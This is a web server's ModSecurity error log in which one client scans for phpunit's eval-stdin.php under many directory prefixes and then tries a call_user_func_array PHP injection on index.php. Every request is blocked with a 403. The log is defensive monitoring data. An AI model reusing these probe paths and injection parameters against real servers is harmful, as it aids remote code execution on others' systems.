[Mon Oct 26 02:24:08.040592 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCMsSJ_JPXSgPpTUCMAAAAA4"]
[Mon Oct 26 02:24:08.041127 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCMsSJ_JPXSgPpTUCMAAAAA4"]
[Mon Oct 26 02:24:08.041552 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCMsSJ_JPXSgPpTUCMAAAAA4"]
[Mon Oct 26 02:24:08.275378 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCMsSJ_JPXSgPpTUCMQAAAA4"]
[Mon Oct 26 02:24:08.275845 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCMsSJ_JPXSgPpTUCMQAAAA4"]
[Mon Oct 26 02:24:08.276258 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCMsSJ_JPXSgPpTUCMQAAAA4"]
[Mon Oct 26 02:24:08.504568 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCMsSJ_JPXSgPpTUCMgAAAA4"]
[Mon Oct 26 02:24:08.505074 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCMsSJ_JPXSgPpTUCMgAAAA4"]
[Mon Oct 26 02:24:08.505474 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCMsSJ_JPXSgPpTUCMgAAAA4"]
[Mon Oct 26 02:24:08.740338 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCMsSJ_JPXSgPpTUCMwAAAA4"]
[Mon Oct 26 02:24:08.740870 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCMsSJ_JPXSgPpTUCMwAAAA4"]
[Mon Oct 26 02:24:08.741282 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCMsSJ_JPXSgPpTUCMwAAAA4"]
[Mon Oct 26 02:24:08.999310 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCMsSJ_JPXSgPpTUCNAAAAA4"]
[Mon Oct 26 02:24:08.999856 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCMsSJ_JPXSgPpTUCNAAAAA4"]
[Mon Oct 26 02:24:09.000209 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCMsSJ_JPXSgPpTUCNAAAAA4"]
[Mon Oct 26 02:24:09.231336 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCcsSJ_JPXSgPpTUCNQAAAA4"]
[Mon Oct 26 02:24:09.231866 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCcsSJ_JPXSgPpTUCNQAAAA4"]
[Mon Oct 26 02:24:09.232211 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCcsSJ_JPXSgPpTUCNQAAAA4"]
[Mon Oct 26 02:24:09.456806 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCcsSJ_JPXSgPpTUCNgAAAA4"]
[Mon Oct 26 02:24:09.457546 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCcsSJ_JPXSgPpTUCNgAAAA4"]
[Mon Oct 26 02:24:09.458033 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCcsSJ_JPXSgPpTUCNgAAAA4"]
[Mon Oct 26 02:24:09.715416 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCcsSJ_JPXSgPpTUCNwAAAA4"]
[Mon Oct 26 02:24:09.715883 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCcsSJ_JPXSgPpTUCNwAAAA4"]
[Mon Oct 26 02:24:09.716286 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCcsSJ_JPXSgPpTUCNwAAAA4"]
[Mon Oct 26 02:24:09.951478 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCcsSJ_JPXSgPpTUCOAAAAA4"]
[Mon Oct 26 02:24:09.952057 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCcsSJ_JPXSgPpTUCOAAAAA4"]
[Mon Oct 26 02:24:09.952352 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCcsSJ_JPXSgPpTUCOAAAAA4"]
[Mon Oct 26 02:24:10.149076 2026] [ssl:error] [pid 2978294:tid 2978294] (70014)End of file found: [client 44.193.102.198:35632] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:24:10.224777 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCssSJ_JPXSgPpTUCOQAAAA4"]
[Mon Oct 26 02:24:10.225354 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCssSJ_JPXSgPpTUCOQAAAA4"]
[Mon Oct 26 02:24:10.225634 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCssSJ_JPXSgPpTUCOQAAAA4"]
[Mon Oct 26 02:24:10.539014 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCssSJ_JPXSgPpTUCOgAAAA4"]
[Mon Oct 26 02:24:10.539670 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCssSJ_JPXSgPpTUCOgAAAA4"]
[Mon Oct 26 02:24:10.540174 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yCssSJ_JPXSgPpTUCOgAAAA4"]
[Mon Oct 26 02:24:11.123026 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Matched phrase "call_user_func" at ARGS:function. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "145"] [id "933150"] [rev "1"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: call_user_func found within ARGS:function: call_user_func_array"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yCssSJ_JPXSgPpTUCOwAAAA4"]
[Mon Oct 26 02:24:11.128215 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yCssSJ_JPXSgPpTUCOwAAAA4"]
[Mon Oct 26 02:24:11.128623 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): PHP Injection Attack: High-Risk PHP Function Name Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yCssSJ_JPXSgPpTUCOwAAAA4"]
[Mon Oct 26 02:24:11.417472 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Matched phrase "call_user_func" at ARGS:function. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "145"] [id "933150"] [rev "1"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: call_user_func found within ARGS:function: call_user_func_array"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/public/index.php"] [unique_id "at7yC8sSJ_JPXSgPpTUCPAAAAA4"]
[Mon Oct 26 02:24:11.418320 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/public/index.php"] [unique_id "at7yC8sSJ_JPXSgPpTUCPAAAAA4"]
